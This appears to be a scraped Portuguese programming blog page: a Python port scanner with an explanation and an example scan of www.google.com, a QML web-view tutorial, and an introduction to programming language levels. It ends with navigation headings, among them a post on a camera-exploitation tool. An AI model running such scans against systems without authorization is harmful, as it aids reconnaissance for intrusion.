def scan_ports(host, ports, max_workers=100):
    open_ports = []
    with ThreadPoolExecutor(max_workers=max_workers) as executor:
        futures = [executor.submit(scan_port, host, port) for port in ports]
        for future in futures:
            port, is_open = future.result()
            if is_open:
                open_ports.append(port)
    return open_ports

# Mapear portas para serviços comuns
port_service_map = {
    21: 'ftp', 22: 'ssh', 23: 'telnet', 25: 'smtp', 53: 'domain', 80: 'http',
    110: 'pop3', 123: 'ntp', 135: 'msrpc', 139: 'netbios-ssn', 143: 'imap',
    161: 'snmp', 194: 'irc', 389: 'ldap', 443: 'https', 445: 'microsoft-ds',
    465: 'smtps', 512: 'exec', 513: 'login', 514: 'shell', 587: 'submission',
    636: 'ldaps', 873: 'rsync', 990: 'ftps', 993: 'imaps', 995: 'pop3s',
    1080: 'socks', 1194: 'openvpn', 1433: 'ms-sql-s', 1434: 'ms-sql-m',
    1521: 'oracle', 1723: 'pptp', 3306: 'mysql', 3389: 'ms-wbt-server',
    5060: 'sip', 5432: 'postgresql', 5900: 'vnc', 5984: 'couchdb', 6379: 'redis',
    6667: 'irc', 8000: 'http-alt', 8080: 'http-proxy', 8443: 'https-alt',
    8888: 'sun-answerbook', 9000: 'cslistener', 9200: 'wap-wsp', 10000: 'webmin',
    11211: 'memcached', 27017: 'mongodb'
}

def main():
    # Configurar o parser de argumentos
    parser = argparse.ArgumentParser(description="Scan ports on a specified website")
    parser.add_argument("website", help="The website to scan, e.g., www.example.com")
    args = parser.parse_args()

    # Obter o site a partir dos argumentos
    website = args.website

    # Definir as portas a serem escaneadas (ports mais comuns escaneadas pelo nmap)
    ports_to_scan = list(port_service_map.keys())

    # Obter o endereço IP do site
    try:
        host = socket.gethostbyname(website)
    except socket.gaierror:
        print(f"Não foi possível resolver o hostname: {website}")
        return

    print(f"Iniciando escaneamento de {website} ({host})...")

    # Escanear as portas e exibir as portas abertas
    open_ports = scan_ports(host, ports_to_scan)

    print(f"PORTA     ESTADO       SERVIÇO")
    for port in ports_to_scan:
        state = "aberta" if port in open_ports else "fechada"
        service = port_service_map.get(port, "unknown")
        print(f"{port:<9} {state:<12} {service}")

    print("Escaneamento concluído.")

if __name__ == "__main__":
    main()

Explicação do Script

Nosso script utiliza algumas bibliotecas essenciais do Python: socket, argparse e concurrent.futures.ThreadPoolExecutor. Aqui está um passo a passo do que cada parte do script faz:

Importações e Configurações Iniciais

import socket
import argparse
from concurrent.futures import ThreadPoolExecutor

Esses comandos importam os módulos necessários para o nosso script. socket é usado para criar conexões de rede, argparse para lidar com argumentos de linha de comando, e concurrent.futures.ThreadPoolExecutor para executar tarefas em paralelo, aumentando a eficiência do nosso escaneamento de portas.

Função para Verificar uma Porta

def scan_port(host, port):
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.settimeout(1)  # Define um timeout de 1 segundo
    try:
        sock.connect((host, port))
        return port, True
    except (socket.timeout, socket.error):
        return port, False
    finally:
        sock.close()

A função scan_port tenta conectar a uma porta específica em um host. Se a conexão for bem-sucedida, a porta está aberta; caso contrário, está fechada. O timeout de 1 segundo garante que a tentativa de conexão não demore muito.

Função para Escanear Múltiplas Portas

def scan_ports(host, ports, max_workers=100):
    open_ports = []
    with ThreadPoolExecutor(max_workers=max_workers) as executor:
        futures = [executor.submit(scan_port, host, port) for port in ports]
        for future in futures:
            port, is_open = future.result()
            if is_open:
                open_ports.append(port)
    return open_ports

A função scan_ports utiliza ThreadPoolExecutor para escanear várias portas ao mesmo tempo. Ela cria uma lista de tarefas, cada uma verificando uma porta diferente, e armazena as portas abertas em uma lista.

Mapeamento de Portas para Serviços Comuns

port_service_map = {
    21: 'ftp', 22: 'ssh', 23: 'telnet', 25: 'smtp', 53: 'domain', 80: 'http',
    110: 'pop3', 123: 'ntp', 135: 'msrpc', 139: 'netbios-ssn', 143: 'imap',
    161: 'snmp', 194: 'irc', 389: 'ldap', 443: 'https', 445: 'microsoft-ds',
    465: 'smtps', 512: 'exec', 513: 'login', 514: 'shell', 587: 'submission',
    636: 'ldaps', 873: 'rsync', 990: 'ftps', 993: 'imaps', 995: 'pop3s',
    1080: 'socks', 1194: 'openvpn', 1433: 'ms-sql-s', 1434: 'ms-sql-m',
    1521: 'oracle', 1723: 'pptp', 3306: 'mysql', 3389: 'ms-wbt-server',
    5060: 'sip', 5432: 'postgresql', 5900: 'vnc', 5984: 'couchdb', 6379: 'redis',
    6667: 'irc', 8000: 'http-alt', 8080: 'http-proxy', 8443: 'https-alt',
    8888: 'sun-answerbook', 9000: 'cslistener', 9200: 'wap-wsp', 10000: 'webmin',
    11211: 'memcached', 27017: 'mongodb'
}

Aqui, temos um dicionário que mapeia números de portas para seus serviços comuns, como FTP, SSH e HTTP. Isso ajuda a identificar rapidamente quais serviços estão rodando nas portas abertas.

Função Principal

def main():
    # Configurar o parser de argumentos
    parser = argparse.ArgumentParser(description="Scan ports on a specified website")
    parser.add_argument("website", help="The website to scan, e.g., www.example.com")
    args = parser.parse_args()

    # Obter o site a partir dos argumentos
    website = args.website

    # Definir as portas a serem escaneadas (ports mais comuns escaneadas pelo nmap)
    ports_to_scan = list(port_service_map.keys())

    # Obter o endereço IP do site
    try:
        host = socket.gethostbyname(website)
    except socket.gaierror:
        print(f"Não foi possível resolver o hostname: {website}")
        return

    print(f"Iniciando escaneamento de {website} ({host})...")

    # Escanear as portas e exibir as portas abertas
    open_ports = scan_ports(host, ports_to_scan)

    print(f"PORTA     ESTADO       SERVIÇO")
    for port in ports_to_scan:
        state = "aberta" if port in open_ports else "fechada"
        service = port_service_map.get(port, "unknown")
        print(f"{port:<9} {state:<12} {service}")

    print("Escaneamento concluído.")

if __name__ == "__main__":
    main()

A função main faz todo o trabalho de configurar o escaneamento. Primeiro, ela define os argumentos de linha de comando e obtém o website a ser escaneado. Depois, ela resolve o nome do host para um endereço IP e começa a escanear as portas mais comuns. Finalmente, ela exibe o estado de cada porta (aberta ou fechada) junto com o serviço correspondente.

Exemplo:

[user@hostname ]$ python scan.py www.google.com  
Iniciando escaneamento de www.google.com (142.250.79.4)...  
PORTA     ESTADO       SERVIÇO  
21        fechada      ftp  
22        fechada      ssh  
23        fechada      telnet  
25        fechada      smtp  
53        fechada      domain  
80        aberta       http  
110       fechada      pop3  
123       fechada      ntp  
135       fechada      msrpc  
139       fechada      netbios-ssn  
143       fechada      imap  
161       fechada      snmp  
194       fechada      irc  
389       fechada      ldap  
443       aberta       https  
445       fechada      microsoft-ds  
465       fechada      smtps  
512       fechada      exec  
513       fechada      login  
514       fechada      shell  
587       fechada      submission  
636       fechada      ldaps  
873       fechada      rsync  
990       fechada      ftps  
993       fechada      imaps  
995       fechada      pop3s  
1080      fechada      socks  
1194      fechada      openvpn  
1433      fechada      ms-sql-s  
1434      fechada      ms-sql-m  
1521      fechada      oracle  
1723      fechada      pptp  
3306      fechada      mysql  
3389      fechada      ms-wbt-server  
5060      fechada      sip  
5432      fechada      postgresql  
5900      fechada      vnc  
5984      fechada      couchdb  
6379      fechada      redis  
6667      fechada      irc  
8000      fechada      http-alt  
8080      fechada      http-proxy  
8443      fechada      https-alt  
8888      fechada      sun-answerbook  
9000      fechada      cslistener  
9200      fechada      wap-wsp  
10000     fechada      webmin  
11211     fechada      memcached  
27017     fechada      mongodb  
Escaneamento concluído.  
[user@hostname ]$

Considerações finais

Este script em Python é uma maneira simples e prática de verificar quais portas estão abertas em um site, o que pode ser útil para fins de segurança ou simples curiosidade.. Sinta-se à vontade para personalizar e expandir este script conforme suas necessidades e busque aprender mais sobre o mundo da programação de redes.

Webview em QML (Qt Modeling Language)

Moprius — Wed, 26 Jun 2024 22:06:05 +0000

Introdução

O código a seguir é um exemplo de uma aplicação básica em QML (Qt Modeling Language) que cria uma janela de aplicação que incorpora um visualizador de web (WebEngineView) para exibir a página do Google. Ele inclui funcionalidades como um menu de contexto, ícone de bandeja do sistema (SystemTrayIcon), e um histórico de URLs visitadas. A aplicação também possui vários itens de menu para interações adicionais, como copiar, colar, cortar, selecionar tudo, atualizar, zoom in, zoom out, e abrir o URL em um navegador externo. Vamos as explicação do código

Código completo

import QtQuick 2.15
import QtQuick.Controls 2.15
import QtQuick.Layouts 1.15
import QtWebEngine 1.10
import Qt.labs.platform 1.1

ApplicationWindow {
    id: window
    visible: true
    width: 1024
    height: 768
    title: "Google"

    WebEngineView {
        id: webEngineView
        anchors.fill: parent
        url: "https://www.google.com"

        onUrlChanged: {
            historyModel.append({url: webEngineView.url.toString()})
        }
    }

    ListModel {
        id: historyModel
    }

    ListView {
        id: historyView
        width: parent.width
        height: 200
        model: historyModel
        delegate: Text {
            text: url
        }
        visible: false // Defina como true para visualizar o histórico
    }

    MouseArea {
        anchors.fill: parent
        acceptedButtons: Qt.RightButton
        onPressed: {
            if (mouse.button == Qt.RightButton) {
                contextMenu.open(mouse.x, mouse.y)
            }
        }
    }

    Menu {
        id: contextMenu
        MenuItem {
            text: qsTr("Copy")
            onTriggered: webEngineView.triggerWebAction(WebEngineView.Copy)
        }
        MenuItem {
            text: qsTr("Paste")
            onTriggered: webEngineView.triggerWebAction(WebEngineView.Paste)
        }
        MenuItem {
            text: qsTr("Cut")
            onTriggered: webEngineView.triggerWebAction(WebEngineView.Cut)
        }
        MenuItem {
            text: qsTr("Select All")
            onTriggered: webEngineView.triggerWebAction(WebEngineView.SelectAll)
        }
        MenuItem {
            text: qsTr("Refresh")
            onTriggered: webEngineView.triggerWebAction(WebEngineView.Reload)
        }
        MenuItem {
            text: qsTr("Zoom In")
            onTriggered: { webEngineView.zoomFactor += 0.1; }
        }
        MenuItem {
            text: qsTr("Zoom Out")
            onTriggered: { webEngineView.zoomFactor -= 0.1; }
        }
        MenuItem {
            text: qsTr("Open in external browser")
            onTriggered: {
                Qt.openUrlExternally(webEngineView.url)
            }
        }
    }

 SystemTrayIcon {
    id: trayIcon
    visible: true
    icon.source: "./imagens/google.png" // No caso a pasta onde está a imagem do ícone

    menu: Menu {
        MenuItem {
            text: "Open"
            onTriggered: {
                window.show()
                window.raise()
                window.requestActivate()
            }
        }
        MenuItem {
            text: "Open Specific URL"
            onTriggered: {
                webEngineView.url = "http://www.google.com"
                window.show()
                window.raise()
                window.requestActivate()
            }
        }
        MenuItem {
            text: "Toggle History View"
            onTriggered: {
                historyView.visible = !historyView.visible
            }
        }
        MenuItem {
            text: "Settings"
            onTriggered: {
                // Implemente a lógica para abrir a janela de configurações
            }
        }
        MenuItem {
            text: "Exit"
            onTriggered: Qt.quit()
        }
    }

    onActivated: reason => {
        if (reason === SystemTrayIcon.Trigger) {
            if (window.visible) {
                window.hide()
            } else {
                window.show()
                window.raise()
                window.requestActivate()
            }
        }
    }
}

onClosing: {
    close.accepted = false;
    window.hide();
}

Component.onCompleted: {
    trayIcon.show()
}

}

Explicação do Código

import QtQuick 2.15
import QtQuick.Controls 2.15
import QtQuick.Layouts 1.15
import QtWebEngine 1.10
import Qt.labs.platform 1.1

Esses comandos importam os módulos necessários para a aplicação. QtQuick é usado para interfaces de usuário, QtQuick.Controls para controles padrão (como botões e menus), QtQuick.Layouts para layouts, QtWebEngine para exibir páginas web, e Qt.labs.platform para acessar funcionalidades específicas da plataforma.

ApplicationWindow {
    id: window
    visible: true
    width: 1024
    height: 768
    title: "Google"

ApplicationWindow define a janela principal da aplicação, com uma largura de 1024 pixels, altura de 768 pixels, e o título "Google".

WebEngineView {
    id: webEngineView
    anchors.fill: parent
    url: "https://www.google.com"

    onUrlChanged: {
        historyModel.append({url: webEngineView.url.toString()})
    }
}

WebEngineView é o componente que carrega e exibe a página web. Quando o URL muda, a nova URL é adicionada ao modelo de histórico (historyModel).

ListModel {
    id: historyModel
}

ListView {
    id: historyView
    width: parent.width
    height: 200
    model: historyModel
    delegate: Text {
        text: url
    }
    visible: false // Defina como true para visualizar o histórico
}

ListModel armazena as URLs visitadas. ListView exibe esse histórico, mas está inicialmente invisível (visible: false).

MouseArea {
    anchors.fill: parent
    acceptedButtons: Qt.RightButton
    onPressed: {
        if (mouse.button == Qt.RightButton) {
            contextMenu.open(mouse.x, mouse.y)
        }
    }
}

MouseArea detecta cliques do mouse. Se o botão direito do mouse for pressionado, o menu de contexto (contextMenu) é aberto na posição do clique.

Menu {
    id: contextMenu
    MenuItem {
        text: qsTr("Copy")
        onTriggered: webEngineView.triggerWebAction(WebEngineView.Copy)
    }
    MenuItem {
        text: qsTr("Paste")
        onTriggered: webEngineView.triggerWebAction(WebEngineView.Paste)
    }
    MenuItem {
        text: qsTr("Cut")
        onTriggered: webEngineView.triggerWebAction(WebEngineView.Cut)
    }
    MenuItem {
        text: qsTr("Select All")
        onTriggered: webEngineView.triggerWebAction(WebEngineView.SelectAll)
    }
    MenuItem {
        text: qsTr("Refresh")
        onTriggered: webEngineView.triggerWebAction(WebEngineView.Reload)
    }
    MenuItem {
        text: qsTr("Zoom In")
        onTriggered: { webEngineView.zoomFactor += 0.1; }
    }
    MenuItem {
        text: qsTr("Zoom Out")
        onTriggered: { webEngineView.zoomFactor -= 0.1; }
    }
    MenuItem {
        text: qsTr("Open in external browser")
        onTriggered: {
            Qt.openUrlExternally(webEngineView.url)
        }
    }
}

Menu define um menu de contexto com várias opções, como copiar, colar, cortar, selecionar tudo, atualizar, zoom in, zoom out, e abrir o URL em um navegador externo.

SystemTrayIcon {
    id: trayIcon
    visible: true
    icon.source: "./imagens/google.png" // No caso a pasta onde está a imagem do ícone

    menu: Menu {
        MenuItem {
            text: "Open"
            onTriggered: {
                window.show()
                window.raise()
                window.requestActivate()
            }
        }
        MenuItem {
            text: "Open Specific URL"
            onTriggered: {
                webEngineView.url = "http://www.google.com"
                window.show()
                window.raise()
                window.requestActivate()
            }
        }
        MenuItem {
            text: "Toggle History View"
            onTriggered: {
                historyView.visible = !historyView.visible
            }
        }
        MenuItem {
            text: "Settings"
            onTriggered: {
                // Implemente a lógica para abrir a janela de configurações
            }
        }
        MenuItem {
            text: "Exit"
            onTriggered: Qt.quit()
        }
    }

    onActivated: reason => {
        if (reason === SystemTrayIcon.Trigger) {
            if (window.visible) {
                window.hide()
            } else {
                window.show()
                window.raise()
                window.requestActivate()
            }
        }
    }
}

SystemTrayIcon cria um ícone na bandeja do sistema com um menu. As opções do menu permitem abrir a aplicação, abrir um URL específico, alternar a visualização do histórico, abrir configurações e sair da aplicação. A aplicação pode ser minimizada para a bandeja do sistema e restaurada a partir dela.

onClosing: {
    close.accepted = false;
    window.hide();
}

Component.onCompleted: {
    trayIcon.show()
}

Esses manipuladores de evento garantem que a aplicação não seja completamente fechada ao clicar em fechar, mas sim escondida. Component.onCompleted exibe o ícone na bandeja quando a aplicação é iniciada.

Conclusão

O código exemplifica uma aplicação QML que utiliza WebEngineView para carregar o Google, inclui um menu de contexto para várias operações, e um ícone de bandeja do sistema para facilitar o acesso e controle da aplicação. Os elementos chave como MouseArea e SystemTrayIcon melhoram a usabilidade, permitindo que os usuários interajam com a aplicação de maneira intuitiva e eficiente. Este exemplo é uma boa base para criar aplicativos web integrados com funcionalidades de interface de usuário ricas e interativas.

Introdução às linguagens de programação

Moprius — Wed, 26 Jun 2024 21:31:07 +0000

Introdução

No mundo da programação, entender as diferenças entre linguagens de baixo nível, médio nível e alto nível é essencial para qualquer desenvolvedor. As linguagens de baixo nível, como código da máquina e Assembly, proporcionam controle direto sobre o hardware, permitindo otimizações precisas de desempenho, mas exigem um conhecimento profundo da arquitetura do sistema e são notoriamente difíceis de aprender e usar. Outras linguagens de médio nível, como C e Rust, oferecem um equilíbrio entre controle de hardware e abstração, combinando a eficiência das linguagens de baixo nível com a acessibilidade das de alto nível. Elas são versáteis e amplamente utilizadas em diversas áreas, desde sistemas operacionais até desenvolvimento de jogos. Já as linguagens de alto nível, como C++, Java, Python, JavaScript, são projetadas para serem as mais amigáveis ao usuário, proporcionando uma sintaxe intuitiva e recursos avançados que facilitam o desenvolvimento rápido e a manutenção do código. Cada nível tem suas próprias vantagens e desvantagens, e a escolha da linguagem ideal depende das necessidades específicas do projeto e das preferências do desenvolvedor. Vamos conhecer como elas funcionam.

Linguagens de Programação de Baixo Nível

As linguagens de programação de baixo nível são aquelas que oferecem pouca ou nenhuma abstração da arquitetura de hardware de um computador. Elas são frequentemente descritas como linguagens "próximas do hardware", ou seja, são projetadas para interagir diretamente com os componentes físicos do computador. Por isso, costumam ser específicas para uma determinada arquitetura de computador.

Vantagens das linguagens de programação de baixo nível

Programas escritos em linguagens de baixo nível são geralmente mais eficientes em termos de velocidade de execução e uso de memória. Eles têm controle total sobre componentes de hardware, registradores e memória, proporcionando um alto nível de controle sobre o comportamento do programa. Isso pode ser fundamental em ambientes com armazenamento limitado.

Desvantagens das linguagens de programação de baixo nível

Essas linguagens exigem um entendimento profundo da arquitetura de hardware, tornando o aprendizado muitas vezes desafiador e difícil. Escrever programas em linguagens de baixo nível frequentemente requer mais tempo e esforço do que em linguagens de alto nível. Esses programas são muitas vezes específicos para uma arquitetura particular, dificultando a transferência para diferentes plataformas ou outras arquiteturas. Como essas linguagens fornecem acesso direto à memória e ao hardware, há um maior risco de erros de programação que podem levar a falhas no sistema.

Exemplos incluem Código da máquina e Assembly:

Código de máquina: Esta é a forma mais baixa de linguagem de programação, consistindo em código binário que representa diretamente instruções executadas pela CPU.

Linguagem Assembly: As linguagens Assembly são específicas para uma arquitetura de CPU particular e fornecem uma representação simbólica das instruções de código de máquina. Por exemplo, processadores Intel requerem Assembly x86.

Exemplos:

Hello, World, em Assembly

section .data
    hello db 'Hello, World!', 0x0A  ; Mensagem a ser impressa com nova linha no final

section .text
    global _start

_start:
    ; Chamada de sistema para escrever (sys_write)
    mov eax, 4          ; syscall número (sys_write)
    mov ebx, 1          ; arquivo descriptor (stdout)
    mov ecx, hello      ; ponteiro para a mensagem
    mov edx, 13         ; comprimento da mensagem
    int 0x80            ; chamada de interrupção

    ; Chamada de sistema para sair (sys_exit)
    mov eax, 1          ; syscall número (sys_exit)
    xor ebx, ebx        ; status de saída 0
    int 0x80            ; chamada de interrupção

Adição de Dois Números

section .data
    num1 db 5        ; Primeiro número
    num2 db 10       ; Segundo número

section .bss
    result resb 1    ; Espaço para o resultado

section .text
    global _start

_start:
    mov al, [num1]   ; Carrega o primeiro número em AL
    add al, [num2]   ; Adiciona o segundo número ao valor em AL
    mov [result], al ; Armazena o resultado

    ; Saída do programa
    mov eax, 1       ; syscall número (sys_exit)
    int 0x80         ; chamada de interrupção

As linguagens de baixo nível são a escolha certa quando a prioridade é o controle preciso sobre o hardware, a otimização de desempenho e a eficiência máxima, mesmo que isso signifique sacrificar um pouco da velocidade de desenvolvimento, da manutenção do código e da facilidade de uso oferecidas pelas linguagens de alto nível.

Linguagens de Programação de Nível Médio

As linguagens de nível médio não são uma categoria oficial amplamente reconhecida ou claramente definida dentro da academia, mas o termo é ocasionalmente usado para descrever linguagens que possuem características de ambas as linguagens de alto e baixo nível. Na prática, o conceito de linguagens de nível médio é mais uma conveniência de descrição do que uma classificação acadêmica. Elas tentam equilibrar a acessibilidade das linguagens de alto nível com o controle detalhado sobre o hardware oferecido pelas linguagens de baixo nível, podendo oferecer abstrações mais simples que as linguagens de baixo nível, mas ainda permitem uma manipulação mais direta dos recursos do sistema.

Vantagens das linguagens de programação de nível médio

As linguagens de nível médio fornecem uma combinação de controle detalhado sobre o hardware e abstração suficiente para tornar a programação mais intuitiva e legível do que as linguagens de baixo nível. Programas escritos em linguagens de nível médio são mais portáteis do que aqueles escritos em linguagens de baixo nível, embora possam exigir alguns ajustes específicos de plataforma. Essas linguagens são mais amigáveis ao usuário do que as linguagens de baixo nível, o que pode levar a um aumento na produtividade dos desenvolvedores. As linguagens de nível médio são adequadas para uma ampla gama de aplicações, oferecendo um bom equilíbrio entre desempenho e facilidade de uso.

Desvantagens das linguagens de programação de nível médio

Embora as linguagens de nível médio sejam geralmente mais fáceis de aprender do que as de baixo nível, ainda podem ser algumas vezes desafiadores, especialmente para iniciantes. Elas não oferecem o mesmo nível de controle sobre o hardware que as linguagens de baixo nível. Frequentemente, dependem de bibliotecas para funcionalidades específicas.

Exemplos de linguagem incluem C e Rust.

C: É uma linguagem de programação que oferece uma combinação de abstração de alto nível com controle detalhado sobre o hardware. Ela permite manipulação direta de memória através do uso de ponteiros e oferece um desempenho muito próxima à do código de máquina, sendo amplamente utilizada para desenvolvimento de sistemas operacionais, drivers e outras aplicações de baixo nível.

Rust: É uma linguagem moderna que equilibra segurança e desempenho. Ela proporciona abstrações de alto nível como segurança de memória e gestão de concorrência sem coletor de lixo, ao mesmo tempo que permite controle de baixo nível semelhante ao C. Rust é usada para desenvolver software de sistemas, aplicações de desempenho crítica e é conhecida por sua ênfase na segurança e prevenção de erros de memória.

Exemplos:

Hello, World em C

#include <stdio.h>

int main() {
    // Imprime "Hello, World!" na tela
    printf("Hello, World!\n");
    return 0;
}

Adição de dois números em C

#include <stdio.h>

int main() {
    int num1, num2, soma;

    // Solicita ao usuário que insira o primeiro número
    printf("Digite o primeiro número: ");
    scanf("%d", &num1);

    // Solicita ao usuário que insira o segundo número
    printf("Digite o segundo número: ");
    scanf("%d", &num2);

    // Calcula a soma dos dois números
    soma = num1 + num2;

    // Exibe o resultado
    printf("A soma de %d e %d é %d\n", num1, num2, soma);

    return 0;
}

Hello, World em Rust

fn main() {
    // Imprime "Hello, World!" na tela
    println!("Hello, World!");
}

Adição de dois números em Rust

use std::io;

fn main() {
    // Solicita ao usuário que insira o primeiro número
    println!("Digite o primeiro número:");
    let mut num1 = String::new();
    io::stdin().read_line(&mut num1).expect("Falha ao ler a linha");
    let num1: i32 = num1.trim().parse().expect("Por favor, insira um número inteiro");

    // Solicita ao usuário que insira o segundo número
    println!("Digite o segundo número:");
    let mut num2 = String::new();
    io::stdin().read_line(&mut num2).expect("Falha ao ler a linha");
    let num2: i32 = num2.trim().parse().expect("Por favor, insira um número inteiro");

    // Calcula a soma dos dois números
    let soma = num1 + num2;

    // Exibe o resultado
    println!("A soma de {} e {} é {}", num1, num2, soma);
}

As linguagens de nível médio oferecem um compromisso entre a eficiência e o controle das linguagens de baixo nível e a facilidade de uso das linguagens de alto nível. São uma escolha equilibrada para desenvolvedores que procuram um meio-termo entre controle e usabilidade.

Linguagens de Programação de Alto Nível

As linguagens de programação de alto nível são feitas para serem o mais amigáveis possível. Elas oferecem uma alta abstração da arquitetura de hardware do computador e são conhecidas por sua simplicidade e legibilidade. Essas linguagens permitem que os desenvolvedores escrevam programas usando uma sintaxe próxima da linguagem natural, eliminando grande parte da complexidade associada à programação de baixo nível. Elas são especialmente ótimas para aplicativos onde a velocidade de desenvolvimento, a manutenção e a facilidade de uso são mais importantes do que o controle de baixo nível e otimizações de desempenho.

Vantagens das linguagens de programação de alto nível

Muitas linguagens de alto nível possuem uma sintaxe parecida com o inglês, o que as torna mais fáceis para iniciantes aprenderem e usarem. Não é à toa que programar em linguagens de alto nível é mais rápido e eficiente do que em linguagens de baixo ou nível médio. Programas escritos em linguagens de alto nível são geralmente portáteis entre diferentes plataformas com poucas ou nenhuma modificação. Essas linguagens frequentemente incluem recursos como tipagem dinâmica, gerenciamento automático de memória (coleta de lixo) e bibliotecas integradas para facilitar o processo de desenvolvimento. Elas não exigem operações complicadas, como gerenciamento de memória e detalhes específicos de hardware, permitindo que os desenvolvedores se concentrem em resolver problemas em um nível mais alto.

Desvantagens das linguagens de programação de alto nível

As linguagens de alto nível abstraem muitos detalhes de hardware, dando menos controle sobre os recursos do computador. Aplicações escritas nela podem consumir muitos recursos do sistema, como memória e poder de processamento. Essas linguagens dependem frequentemente de bibliotecas e frameworks para diversas funcionalidades.

Exemplos de linguagens de programação de alto nível em uso hoje incluem C++, Java, C#, Python, JavaScript e muitas outras.

Exemplos

Hello, World em C++

#include <iostream>

int main() {
    // Imprime "Hello, World!" na tela
    std::cout << "Hello, World!" << std::endl;
    return 0;
}

Adição de dois números em C++

#include <iostream>

int main() {
    int num1, num2, sum;

    // Solicita ao usuário que insira o primeiro número
    std::cout << "Digite o primeiro número: ";
    std::cin >> num1;

    // Solicita ao usuário que insira o segundo número
    std::cout << "Digite o segundo número: ";
    std::cin >> num2;

    // Calcula a soma dos dois números
    sum = num1 + num2;

    // Exibe o resultado
    std::cout << "A soma de " << num1 << " e " << num2 << " é " << sum << std::endl;

    return 0;
}

Hello, World em Python

# Este programa imprime "Hello, World!" na tela
print("Hello, World!")

Adição de dois números em Python

# Solicita ao usuário que insira o primeiro número
num1 = float(input("Digite o primeiro número: "))

# Solicita ao usuário que insira o segundo número
num2 = float(input("Digite o segundo número: "))

# Calcula a soma dos dois números
soma = num1 + num2

# Exibe o resultado
print("A soma de {} e {} é {}".format(num1, num2, soma))

As linguagens de alto nível são a escolha certa quando a prioridade é a velocidade de desenvolvimento, a manutenção do código e a facilidade de uso, mesmo que isso signifique sacrificar um pouco do controle e da eficiência oferecidos pelas linguagens de baixo nível.

Considerações finais

A escolha da linguagem de programação ideal depende do equilíbrio e da necessidade entre o controle sobre o hardware e a abstração necessária para o desenvolvimento eficiente de software. Seja na construção de sistemas operacionais robustos e eficientes utilizando linguagens de baixo nível, na criação de aplicações versáteis e portáteis com linguagens de médio nível, ou no desenvolvimento ágil de soluções de software complexas com linguagens de alto nível, cada categoria de linguagem de programação desempenha um papel na evolução da tecnologia e na resolução de problemas diversos.

Forem: Moprius

Visualização de dados em Python

Criando um conjunto de dados “sujo”

1. Explorando seus dados com head, tail e wc

2. Visualizando colunas específicas com cut

3. Removendo linhas duplicadas com sort e uniq

4. Buscando e filtrando com grep

5. Tirando espaços em excesso com sed

6. Substituindo valores com sed

7. Contando e resumindo com awk

8. Combinando comandos com pipes

9. Convertendo formatos de dados

10. Montando um pipeline completo de limpeza

Encerrando a ideia

CamOver — ferramenta para exploração de vulnerabilidades em câmeras de rede

Funcionalidades do CamOver:

Instalação do CamOver

Uso do CamOver

Parâmetros disponíveis ao iniciar o CamOver:

Exemplo de uso:

Exploração de uma única câmera

Exploração de câmeras pela internet

Exploração de câmeras a partir de um arquivo

Uso de API

Explicação do código:

Conclusão

Substituição e Correção de Palavras com NLTK em Python

Stemming: Cortando Sufixos

Lemmatização: Voltando à Forma Base

Expressões Regulares para Substituição

Correção Ortográfica com Enchant

Substituição de Sinônimos

Substituição de Antônimos

Aplicações Práticas

Análise de Sentimentos

Normalização de Texto

Melhoria da Busca em Textos

Conclusão

Introdução à Tokenização e Básicos do WordNet com Python e NLTK

O que é Tokenização?

Tokenizando Textos em Sentenças

Tokenizando Sentenças em Palavras

Usando Expressões Regulares para Tokenização

Introdução ao WordNet

Buscando Synsets

Definições e Exemplos

Buscando Sinônimos e Antônimos

Calculando Similaridade Semântica

Filtrando Stopwords

Aplicações Práticas

Análise de Sentimentos

Reconhecimento de Entidades Nomeadas

Conclusão

Como Escanear Portas em um Website com Python

Introdução

Código completo

Explicação do Script

Exemplo:

Considerações finais

Webview em QML (Qt Modeling Language)

Introdução

Código completo

Explicação do Código

Conclusão

Introdução às linguagens de programação

Introdução

Linguagens de Programação de Baixo Nível

Vantagens das linguagens de programação de baixo nível

Desvantagens das linguagens de programação de baixo nível

Linguagens de Programação de Nível Médio

Vantagens das linguagens de programação de nível médio

Desvantagens das linguagens de programação de nível médio

Linguagens de Programação de Alto Nível

Vantagens das linguagens de programação de alto nível

Desvantagens das linguagens de programação de alto nível

Considerações finais

1. Explorando seus dados com `head`, `tail` e `wc`

2. Visualizando colunas específicas com `cut`

3. Removendo linhas duplicadas com `sort` e `uniq`

4. Buscando e filtrando com `grep`

5. Tirando espaços em excesso com `sed`

6. Substituindo valores com `sed`

7. Contando e resumindo com `awk`